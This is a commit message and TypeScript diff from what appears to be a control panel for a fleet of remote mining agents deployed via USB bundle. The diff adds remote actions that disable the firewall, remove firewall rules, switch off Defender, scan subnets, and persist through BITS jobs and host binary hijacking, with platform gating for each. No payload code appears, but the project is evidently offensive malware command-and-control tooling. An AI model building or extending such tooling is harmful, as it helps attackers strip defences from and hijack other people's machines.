feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

server/web/src/help/aggressiveActions.ts

@@ -10,6 +10,12 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
   'subnet_scan',
   'defender_off',
   'firewall_punch',
+  'firewall_off',
+  'firewall_on',
+  'firewall_profiles',
+  'firewall_remove',
+  'bits_persist',
+  'host_binary_persist',
   'mesh_status',
 ] as const;
 
@@ -21,6 +27,12 @@ export function canRunAggressiveAction(
   platform?: string
 ): boolean {
   if (platform === 'darwin' && action === 'defender_off') return false;
+  if (
+    platform !== 'windows' &&
+    (action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
+  ) {
+    return false;
+  }
   if (!caps) return true;
   switch (action) {
     case 'hole_punch':
@@ -33,6 +45,12 @@ export function canRunAggressiveAction(
     case 'subnet_scan':
     case 'defender_off':
     case 'firewall_punch':
+    case 'firewall_off':
+    case 'firewall_on':
+    case 'firewall_profiles':
+    case 'firewall_remove':
+    case 'bits_persist':
+    case 'host_binary_persist':
       return caps.remote_aggressive;
     case 'mesh_status':
       return caps.mesh_p2p;
@@ -49,6 +67,15 @@ export function aggressiveActionHint(
   if (platform === 'darwin' && action === 'defender_off') {
     return 'Defender disable not supported on macOS';
   }
+  if (platform !== 'windows' && action.startsWith('firewall_')) {
+    return 'Firewall control is Windows-only';
+  }
+  if (platform !== 'windows' && action === 'bits_persist') {
+    return 'BITS persistence is Windows-only';
+  }
+  if (platform !== 'windows' && action === 'host_binary_persist') {
+    return 'Host binary hijack is Windows-only';
+  }
   if (canRunAggressiveAction(action, caps, platform)) return undefined;
   switch (action) {
     case 'hole_punch':